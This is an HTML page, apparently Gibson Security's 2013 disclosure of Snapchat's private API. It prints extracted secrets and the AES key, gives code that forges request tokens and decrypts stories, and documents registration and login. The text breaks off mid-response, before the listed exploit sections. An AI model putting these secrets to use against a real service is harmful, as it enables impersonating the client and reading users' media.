CINXE.COM

Snapchat - GSFD

<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <!-- Gibson Security Full Disclosure (built: 2013-12-28.1388184321) --> <title>Snapchat - GSFD</title> <meta name="description" content="A series of nicely formatted documents about Snapchat by GibSec."> <link rel="stylesheet" href="static/normalize.css"/> <link rel="stylesheet" href="static/960.css"/> <link rel="stylesheet" href="static/gibsec.css"/> <link rel="stylesheet" href="static/slate.css"/> <link href="https://fonts.googleapis.com/css?family=Droid+Sans:400,700" rel='stylesheet' type='text/css'> <script src="https://static.gibsonsec.org/js/gibsmas-timer.js" type="text/javascript"></script> </head> <body id="top"> <content> <div class="container_12 content"> <div class="push_1 grid_10"> <h1>Snapchat - <a href="https://gibsonsec.org">GibSec</a> Full Disclosure</h1> <h1 id='toc' class='link-to'>TOC <a class='pilcrow' title='Permalink to this section' href='#toc'>露</a></h1> <ol> <li><a href="#foreword-and-notes">Foreword and notes</a></li> <li><a href="#authentication-tokens">Authentication tokens</a> <ol> <li><a href="#creating-request-tokens">Creating request tokens</a></li> <li><a href="#creating-static-tokens">Creating static tokens</a></li> </ol></li> <li><a href="#common-fields">Common fields</a></li> <li><a href="#encryptingdecrypting-data">Encrypting/decrypting data</a> <ol> <li><a href="#encrypting-normal-snaps">Encrypting normal snaps</a></li> <li><a href="#encrypting-stories">Encrypting stories</a></li> </ol></li> <li><a href="#index-of-constants">Index of constants</a></li> <li><a href="#gzipping-data">Gzipping data</a></li> </ol> <hr> <ol> <li><a href="#registering-an-account-bqregister-phregisteru">Registering an account (<code>/bq/register</code>, <code>/ph/registeru</code>)</a> <ol> <li><a href="#actually-registering-bqregister">Actually registering (<code>/bq/register</code>)</a></li> <li><a href="#attaching-a-username-phregisteru">Attaching a username (<code>/ph/registeru</code>)</a></li> </ol></li> <li><a href="#logging-in-bqlogin">Logging in (<code>/bq/login</code>)</a></li> <li><a href="#logging-out-phlogout">Logging out (<code>/ph/logout</code>)</a></li> <li><a href="#fetching-snap-data-phblob">Fetching snap data (<code>/ph/blob</code>)</a></li> <li><a href="#uploading-and-sending-snaps-phupload-phsend">Uploading and sending snaps (<code>/ph/upload</code>, <code>/ph/send</code>)</a> <ol> <li><a href="#uploading-your-media-phupload">Uploading your media (<code>/ph/upload</code>)</a></li> <li><a href="#sending-it-off-phsend">Sending it off (<code>/ph/send</code>)</a></li> <li><a href="#resending-a-failed-snap-phretry">Resending a failed snap (<code>/ph/retry</code>)</a></li> </ol></li> <li><a href="#posting-to-a-story-bqpost_story">Posting to a story (<code>/bq/post_story</code>)</a></li> <li><a href="#deleting-story-segments-bqdelete_story">Deleting story segments (<code>/bq/delete_story</code>)</a></li> <li><a href="#appending-segments-to-a-story-directly-bqretry_post_story">Appending segments to a story directly (<code>/bq/retry_post_story</code>)</a></li> <li><a href="#posting-to-a-story-and-sending-a-snap-bqdouble_post">Posting to a story and sending a snap (<code>/bq/double_post</code>)</a></li> <li><a href="#finding-your-friends-phfind_friends">Finding your friends (<code>/ph/find_friends</code>)</a></li> <li><a href="#making---or-losing---friends-phfriend">Making - or losing - friends (<code>/ph/friend</code>)</a></li> <li><a href="#getting-your-friends-best-friends-bqbests">Getting your friends&#39; best friends (<code>/bq/bests</code>)</a></li> <li><a href="#getting-your-friends-stories-bqstories">Getting your friends stories (<code>/bq/stories</code>)</a></li> <li><a href="#getting-updates-bqupdates">Getting updates (<code>/bq/updates</code>)</a></li> <li><a href="#sending-updates-bqupdate_snaps">Sending updates (<code>/bq/update_snaps</code>)</a></li> <li><a href="#sending-more-updates-bqupdate_stories">Sending more updates (<code>/bq/update_stories</code>)</a></li> <li><a href="#clearing-your-feed-phclear">Clearing your feed (<code>/ph/clear</code>)</a></li> <li><a href="#updating-your-account-settings-phsettings">Updating your account settings (<code>/ph/settings</code>)</a> <ol> <li><a href="#updating-your-attached-email">Updating your attached email</a></li> <li><a href="#updating-your-account-privacy">Updating your account privacy</a></li> <li><a href="#updating-your-story-privacy">Updating your story privacy</a></li> <li><a href="#updating-your-maturity-settings">Updating your maturity settings</a></li> </ol></li> <li><a href="#updating-feature-settings-bqupdate_feature_settings">Updating feature settings (<code>/bq/update_feature_settings</code>)</a></li> <li><a href="#choosing-your-number-of-best-friends-bqset_num_best_friends">Choosing your number of best friends (<code>/bq/set_num_best_friends</code>)</a></li> <li><a href="#obligatory-exploit-pocs">Obligatory exploit POCs</a> <ol> <li><a href="#the-find_friends-exploit">The find_friends exploit</a></li> <li><a href="#bulk-registration-of-accounts">Bulk registration of accounts</a></li> </ol></li> </ol> <hr> <h1 id='foreword-and-notes' class='link-to'>Foreword and notes <a class='pilcrow' title='Permalink to this section' href='#foreword-and-notes'>露</a></h1> <p>Given that it&#39;s been around <em>four months</em> since our <a href="https://gibsonsec.org/snapchat/">last Snapchat release</a>, we figured we&#39;d do a refresher on the latest version, and see which of the released exploits had been fixed (full disclosure: <em>none of them</em>). Seeing that nothing had been <em>really</em> been improved upon (although, stories are using AES/CBC rather than AES/ECB, which is a start), we decided that it was in everyone&#39;s best interests for us to post a full disclosure of everything we&#39;ve found in our past months of hacking the gibson.</p> <p>In the time since our previous release, there have been <a href="https://github.com/dstelljes/php-snapchat">numerous</a> <a href="https://github.com/niothiel/snapchat-python">public</a> <a href="https://github.com/kirbyk/ruby-snapchat">Snapchat</a> <a href="https://github.com/NealKemp/snapcat">api</a> <a href="https://github.com/neuegram/Sna.py">clients</a> created on GitHub. Thankfully, Snapchat are too busy declining ridiculously high offers from Facebook and Google, and lying to investors (hint: they have no way to tell <a href="http://mashable.com/2013/11/20/snapchat-users-women/">the genders of their users</a>, see <a href="#actually-registering-bqregister"><code>/bq/register</code></a> for a lack of gender specification) to send <a href="https://news.ycombinator.com/item?id=6083812">unlawful code takedown requests</a> to all the developers involved.</p> <p>As always, we&#39;re contactable via <a href="https://twitter.com/gibsonsec">@gibsonsec</a> and <a href="/cdn-cgi/l/email-protection#5a293f392f28332e231a3d3338293534293f397435283d"><span class="__cf_email__" data-cfemail="5e2d3b3d2b2c372a271e39373c2d31302d3b3d70312c39">[email&#160;protected]</span></a>. Merry Gibsmas!</p> <h2 id='technical-mumbo-jumbo' class='link-to'>Technical mumbo-jumbo <a class='pilcrow' title='Permalink to this section' href='#technical-mumbo-jumbo'>露</a></h2> <p>This documentation is based on the current build (<code>4.1.01</code> at the time of writing <em>23-12-2013</em>) of Snapchat for Android. The Android app uses a mixture of <code>/ph</code> and <code>/bq</code> endpoints - the iOS app is pure <code>/bq</code>, but we haven&#39;t documented them all, sorry!</p> <p>You can use <code>api.snapchat.com</code>, <code>feelinsonice.appspot.com</code> or <code>feelinsonice-hrd.appspot.com</code> as hosts for the API endpoints - they&#39;re all the same address at the end of the day.</p> <p>The documentation may be broken, incomplete, outdated or just plain <em>wrong</em>. We try our best to keep things valid as much as possible, but we&#39;re only human after all.</p> <p><strong>NB!</strong> As of the current time of writing, there are two unknown reply fields scattered around the API responses. These are marked with an <code>N/A</code> - explanations welcome to <a href="/cdn-cgi/l/email-protection#d9aabcbaacabb0ada099beb0bbaab6b7aabcbaf7b6abbe"><span class="__cf_email__" data-cfemail="2655434553544f525f66414f4455494855434508495441">[email&#160;protected]</span></a>. Fields with an asterisk after them (e.g: <code>zipped</code>*) means it&#39;s an optional field.</p> <h1 id='authentication-tokens' class='link-to'>Authentication tokens <a class='pilcrow' title='Permalink to this section' href='#authentication-tokens'>露</a></h1> <p>Authentication with Snapchat&#39;s API is done via a token sent in each request under the name <code>req_token</code>.</p> <p>In general, it is a combination of <em>two hashes</em> (each salted with the <em>secret</em>), as defined by a specific <em>pattern</em>. You&#39;ll be using your normal <code>auth_token</code> for most requests - a few require a static token, which we&#39;ll get to in a bit.</p> <p>Here is some example Python that implements the <em>secret req_token hash</em>:</p> <div class="highlight"><pre><span class="k">def</span> <span class="nf">request_token</span><span class="p">(</span><span class="n">auth_token</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">):</span> <span class="n">secret</span> <span class="o">=</span> <span class="s">&quot;iEk21fuwZApXlz93750dmW22pw389dPwOk&quot;</span> <span class="n">pattern</span> <span class="o">=</span> <span class="s">&quot;0001110111101110001111010101111011010001001110011000110001000110&quot;</span> <span class="n">first</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">secret</span> <span class="o">+</span> <span class="n">auth_token</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">second</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">+</span> <span class="n">secret</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">bits</span> <span class="o">=</span> <span class="p">[</span><span class="n">first</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&quot;0&quot;</span> <span class="k">else</span> <span class="n">second</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">pattern</span><span class="p">)]</span> <span class="k">return</span> <span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span> <span class="c"># Here&#39;s a benchmark to make sure your implementation works:</span> <span class="c"># &gt;&gt;&gt; request_token(&quot;m198sOkJEn37DjqZ32lpRu76xmw288xSQ9&quot;, 1373209025)</span> <span class="c"># &#39;9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b&#39;</span> </pre></div> <ul> <li>Things to note:</li> <li>The <strong>secret</strong> is <code>iEk21fuwZApXlz93750dmW22pw389dPwOk</code></li> <li>You need <em>two</em> <strong>sha256</strong> hashes. <ol> <li><code>secret + auth_token</code></li> <li><code>timestamp + secret</code></li> </ol></li> <li>The <strong>pattern</strong> is <code>0001110111101110001111010101111011010001001110011000110001000110</code> <ul> <li><code>0</code> means take a character from <em>hash 1</em> at the point.</li> <li><code>1</code> means take a character from <em>hash 2</em> at the point.</li> </ul></li> </ul> <h2 id='creating-request-tokens' class='link-to'>Creating request tokens <a class='pilcrow' title='Permalink to this section' href='#creating-request-tokens'>露</a></h2> <p>To create a request token (which you will need for 90% of requests), you need to:</p> <ul> <li>Take the <code>auth_token</code> you got from <a href="#logging-in-bqlogin">logging in</a></li> <li>Take the current <code>timestamp</code> (epoch/unix timestamp) which you&#39;ll need for the req_token and inclusion in the request.</li> <li>Run <code>request_token(auth_token, timestamp)</code></li> <li>Include it in your request!</li> </ul> <h2 id='creating-static-tokens' class='link-to'>Creating static tokens <a class='pilcrow' title='Permalink to this section' href='#creating-static-tokens'>露</a></h2> <p>If you&#39;re logging in, you won&#39;t have an auth_token yet. Not to fear!</p> <ul> <li>Take the <em>static token</em>, <code>m198sOkJEn37DjqZ32lpRu76xmw288xSQ9</code></li> <li>Take the current <code>timestamp</code></li> <li>Run <code>request_token(static_token, timestamp)</code></li> <li>Include it in your request!</li> </ul> <h1 id='common-fields' class='link-to'>Common fields <a class='pilcrow' title='Permalink to this section' href='#common-fields'>露</a></h1> <p>There are a few fields that are common to most requests and responses:</p> <p><strong>Requests:</strong></p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>The username of the logged in account.</td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The unix timestamp of the request - can be arbitrary.</td> </tr> </tbody></table> <p><strong>Responses:</strong></p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>This is usually indicative of whether or not your response was successful.</td> </tr> </tbody></table> <h1 id='encryptingdecrypting-data' class='link-to'>Encrypting/decrypting data <a class='pilcrow' title='Permalink to this section' href='#encryptingdecrypting-data'>露</a></h1> <h2 id='encrypting-normal-snaps' class='link-to'>Encrypting normal snaps <a class='pilcrow' title='Permalink to this section' href='#encrypting-normal-snaps'>露</a></h2> <ul> <li>All standard media (read: picture and video) data sent to Snapchat is:</li> <li>Padded using <a href="http://tools.ietf.org/html/rfc2898">PKCS#5</a>.</li> <li>Encrypted using <strong>AES/ECB</strong> with a single synchronous key: <code>M02cnQ51Ji97vwT4</code></li> </ul> <h2 id='encrypting-stories' class='link-to'>Encrypting stories <a class='pilcrow' title='Permalink to this section' href='#encrypting-stories'>露</a></h2> <ul> <li>Stories are:</li> <li>Padded using PKCS#7.</li> <li>Encrypted using <strong>AES/CBC</strong> with a unique IV and key per piece of the story (i.e, there isn&#39;t a single key/IV you can use). <ul> <li>You can find a <code>media_key</code> and <code>media_iv</code> deep within the return values of a request to <code>/bq/stories</code>.</li> </ul></li> <li>The server does the AES/CBC encryption - segments are sent to the server using the normal AES/ECB (<code>M02c..</code>) encryption. <ul> <li><code>StoryEncryptionAlgorithm#encrypt</code> just calls <code>SnapEncryptionAlgorithm#encrypt</code>.</li> </ul></li> </ul> <p>Here&#39;s a rough idea of how to decrypt them:</p> <div class="highlight"><pre><span class="c"># To find `media_key` and `media_iv`, see: /bq/stories documentation</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="nn">mcrypt</span> <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="c"># POST /bq/stories and ensure res is a dict.</span> <span class="n">data</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="c"># GET /bq/story_blob?story_id=XXXXX from result</span> <span class="n">key</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="o">...</span><span class="p">][</span><span class="s">&quot;media_key&quot;</span><span class="p">])</span> <span class="n">iv</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="o">...</span><span class="p">][</span><span class="s">&quot;media_iv&quot;</span><span class="p">])</span> <span class="n">m</span> <span class="o">=</span> <span class="n">mcrypt</span><span class="o">.</span><span class="n">MCRYPT</span><span class="p">(</span><span class="s">&quot;rijndael-128&quot;</span><span class="p">,</span> <span class="s">&quot;cbc&quot;</span><span class="p">)</span> <span class="n">m</span><span class="o">.</span><span class="n">init</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span> <span class="n">dedata</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="c"># Boom.</span> </pre></div> <h1 id='index-of-constants' class='link-to'>Index of constants <a class='pilcrow' title='Permalink to this section' href='#index-of-constants'>露</a></h1> <p>These are just some constants you&#39;ll undoubtedly come across working with Snapchat.</p> <pre><code>- static_token `m198sOkJEn37DjqZ32lpRu76xmw288xSQ9` Used to create a req_token to log in to an account. - ENCRYPT_KEY_2 `M02cnQ51Ji97vwT4` Used to encrypt/decrypt standard snap data (using AES/ECB) - req_token pattern `0001110111101110001111010101111011010001001110011000110001000110` Used to create a valid req_token. `0` means $hash1, `1` means $hash2. Where: $hash1 = sha256(secret + auth_token) and $hash2 = sha256(timestamp + secret) - req_token secret `iEk21fuwZApXlz93750dmW22pw389dPwOk` Used to salt the hashes used in generating req_tokens. - various media types: IMAGE = 0 VIDEO = 1 VIDEO_NOAUDIO = 2 FRIEND_REQUEST = 3 FRIEND_REQUEST_IMAGE = 4 FRIEND_REQUEST_VIDEO = 5 FRIEND_REQUEST_VIDEO_NOAUDIO = 6 - various media states: NONE = -1 SENT = 0 DELIVERED = 1 VIEWED = 2 SCREENSHOT = 3 - Snapchat&#39;s User-agent: `Snapchat/&lt;snapchat-build&gt; (&lt;phone-model&gt;; Android &lt;build-version&gt;; gzip)` e.g.: `Snapchat/4.1.01 (Nexus 4; Android 18; gzip)` This isn&#39;t constant per se, but you should send it in your requests anyway. Get the Android build version from here: http://developer.android.com/reference/android/os/Build.VERSION_CODES.html (18 is Jelly Bean 4.3, for example) NB! Snapchat will fake the `&lt;snapchat-build&gt;` as `3.0.2` if it can&#39;t figure out its own build. So you can use that if you&#39;d like.</code></pre> <h1 id='gzipping-data' class='link-to'>Gzipping data <a class='pilcrow' title='Permalink to this section' href='#gzipping-data'>露</a></h1> <p><em>NB!</em> We&#39;re sort of hazy on the details and specifics of when you can and can&#39;t send gzipped data. Some endpoints <em>appear</em> to support it, others don&#39;t. We tried various combinations of encryption, gzipping and other combinations thereof, but got inconsistent results. Your mileage may vary.</p> <p>Specific fields (mainly snap upload related, as expected) are sent gzipped (if it&#39;s supported). This means, where you see a <code>data</code> field, you can <em>sometimes</em> (it&#39;s inconsistent) gzip the data, send it as <code>data</code> and set <code>zipped: 1</code> (note: it&#39;s still encrypted prior to gzipping).</p> <p>How you gzip data will vary in your language, but in Python, it&#39;s as easy as:</p> <div class="highlight"><pre><span class="kn">from</span> <span class="nn">StringIO</span> <span class="kn">import</span> <span class="n">StringIO</span> <span class="kn">import</span> <span class="nn">gzip</span> <span class="n">zipped</span> <span class="o">=</span> <span class="n">StringIO</span><span class="p">()</span> <span class="n">gz</span> <span class="o">=</span> <span class="n">gzip</span><span class="o">.</span><span class="n">GzipFile</span><span class="p">(</span><span class="n">fileobj</span><span class="o">=</span><span class="n">zipped</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s">&quot;w&quot;</span><span class="p">)</span> <span class="n">gz</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted_snap_data</span><span class="p">)</span> <span class="n">gz</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="c"># Send this as `data`, with `zipped: 1`:</span> <span class="n">gzdata</span> <span class="o">=</span> <span class="n">zipped</span><span class="o">.</span><span class="n">getvalue</span><span class="p">()</span> </pre></div> <hr> <h1 id='registering-an-account-bqregister-phregisteru' class='link-to'>Registering an account (<code>/bq/register</code>, <code>/ph/registeru</code>) <a class='pilcrow' title='Permalink to this section' href='#registering-an-account-bqregister-phregisteru'>露</a></h1> <h2 id='actually-registering-bqregister' class='link-to'>Actually registering (<code>/bq/register</code>) <a class='pilcrow' title='Permalink to this section' href='#actually-registering-bqregister'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">static_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">&quot;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d7aeb8a297b2afb6baa7bbb2f9b4b8ba">[email&#160;protected]</a>&quot;</span><span class="p">,</span> <span class="nx">password</span><span class="o">:</span> <span class="s2">&quot;password&quot;</span><span class="p">,</span> <span class="nx">age</span><span class="o">:</span> <span class="mi">19</span><span class="p">,</span> <span class="nx">birthday</span><span class="o">:</span> <span class="s2">&quot;1994-11-15&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-static-tokens">Creating static tokens</a></td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your email.</td> </tr> <tr> <td><code>password</code></td> <td>str</td> <td>Your password.</td> </tr> <tr> <td><code>age</code></td> <td>int</td> <td>How old you are (as an <em>integer</em>).</td> </tr> <tr> <td><code>birthday</code></td> <td>str</td> <td>Your date-of-birth in the format <code>YYYY-MM-DD</code>.</td> </tr> </tbody></table> <p>If your request is <strong>successful</strong>, you&#39;ll see something like this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">token</span><span class="o">:</span> <span class="s2">&quot;10634960-5c09-4037-8921-4c447a8c6aa9&quot;</span><span class="p">,</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">&quot;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b5ccdac0f5d0cdd4d8c5d9d09bd6dad8">[email&#160;protected]</a>&quot;</span><span class="p">,</span> <span class="nx">snapchat_phone_number</span><span class="o">:</span> <span class="s2">&quot;+15557350485&quot;</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>token</code></td> <td>str</td> <td>An <a href="#authentication-tokens">authentication token</a> you can use without having to log in again.</td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your email.</td> </tr> <tr> <td><code>snapchat_phone_number</code></td> <td>str</td> <td>A number you can send a text to, to verify your phone number <em>(OPTIONAL)</em></td> </tr> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> </tbody></table> <p><em>NB!</em> Even though your request failed (as indicated by <code>logged</code>), you&#39;ll still get a <code>200 OK</code> reply.<br> If your request <strong>failed</strong>, you&#39;ll see something like this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="344d5b4174514c55594458511a575b59">[email&#160;protected]</a> is already taken! Login with that email address or try another one&quot;</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">false</span> <span class="p">}</span> </pre></div> <h2 id='attaching-a-username-phregisteru' class='link-to'>Attaching a username (<code>/ph/registeru</code>) <a class='pilcrow' title='Permalink to this section' href='#attaching-a-username-phregisteru'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">static_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">&quot;<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4c3523390c29342d213c2029622f2321">[email&#160;protected]</a>&quot;</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-static-tokens">Creating static tokens</a></td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>The email attached to your account.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>The username you&#39;re requesting.</td> </tr> </tbody></table> <p>If your request <strong>succeeded</strong>, you&#39;ll see something similar to <a href="#logging-in-bqlogin">logging in (<code>/bq/login</code>)</a>.<br> If your request <strong>failed</strong>, you&#39;ll see something like:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">&quot;Invalid username. Letters and numbers with an optional hyphen, underscore, or period in between please!&quot;</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">false</span> <span class="p">}</span> </pre></div> <h1 id='logging-in-bqlogin' class='link-to'>Logging in (<code>/bq/login</code>) <a class='pilcrow' title='Permalink to this section' href='#logging-in-bqlogin'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">static_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">password</span><span class="o">:</span> <span class="s2">&quot;yourpassword&quot;</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: See: <a href="#creating-static-tokens">Creating static tokens</a></td> </tr> <tr> <td><code>password</code></td> <td>str</td> <td>Your account&#39;s password.</td> </tr> </tbody></table> <p>If your reply was <strong>successful</strong>, you&#39;ll get back something like this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">bests</span><span class="o">:</span> <span class="p">[</span><span class="s2">&quot;someguy&quot;</span><span class="p">],</span> <span class="nx">score</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">number_of_best_friends</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">received</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">added_friends</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">ts</span><span class="o">:</span> <span class="mi">1384417608610</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;somedude&quot;</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">&quot;&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">},</span> <span class="p">{</span><span class="nx">ts</span><span class="o">:</span> <span class="mi">1385130955168</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;random&quot;</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">&quot;&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">}</span> <span class="p">],</span> <span class="nx">beta_expiration</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">beta_number</span><span class="o">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="nx">requests</span><span class="o">:</span> <span class="p">[{</span><span class="nx">display</span><span class="o">:</span> <span class="s2">&quot;&quot;</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1377613760506</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;randomstranger&quot;</span><span class="p">}],</span> <span class="nx">sent</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">story_privacy</span><span class="o">:</span> <span class="s2">&quot;FRIENDS&quot;</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">&quot;youraccount&quot;</span><span class="p">,</span> <span class="nx">snaps</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;894720385130955367r&quot;</span><span class="p">,</span> <span class="nx">sn</span><span class="o">:</span> <span class="s2">&quot;someguy&quot;</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1385130955367</span><span class="p">,</span> <span class="nx">sts</span><span class="o">:</span> <span class="mi">1385130955367</span><span class="p">,</span> <span class="nx">m</span><span class="o">:</span> <span class="mi">3</span><span class="p">,</span> <span class="nx">st</span><span class="o">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;116748384417608719r&quot;</span><span class="p">,</span> <span class="nx">sn</span><span class="o">:</span> <span class="s2">&quot;randomdude&quot;</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1384417608719</span><span class="p">,</span> <span class="nx">sts</span><span class="o">:</span> <span class="mi">1384417608719</span><span class="p">,</span> <span class="nx">m</span><span class="o">:</span> <span class="mi">3</span><span class="p">,</span> <span class="nx">st</span><span class="o">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="nx">id</span><span class="o">:</span> <span class="s2">&quot;325924384416555224r&quot;</span><span class="p">,</span> <span class="nx">sn</span><span class="o">:</span> <span class="s2">&quot;teamsnapchat&quot;</span><span class="p">,</span> <span class="nx">t</span><span class="o">:</span> <span class="mi">10</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1384416555224</span><span class="p">,</span> <span class="nx">sts</span><span class="o">:</span> <span class="mi">1384416555224</span><span class="p">,</span> <span class="nx">m</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">st</span><span class="o">:</span> <span class="mi">1</span><span class="p">}</span> <span class="p">],</span> <span class="nx">friends</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">can_see_custom_stories</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">&quot;teamsnapchat&quot;</span><span class="p">,</span> <span class="nx">display</span><span class="s2">&quot;: Team Snapchat&quot;</span><span 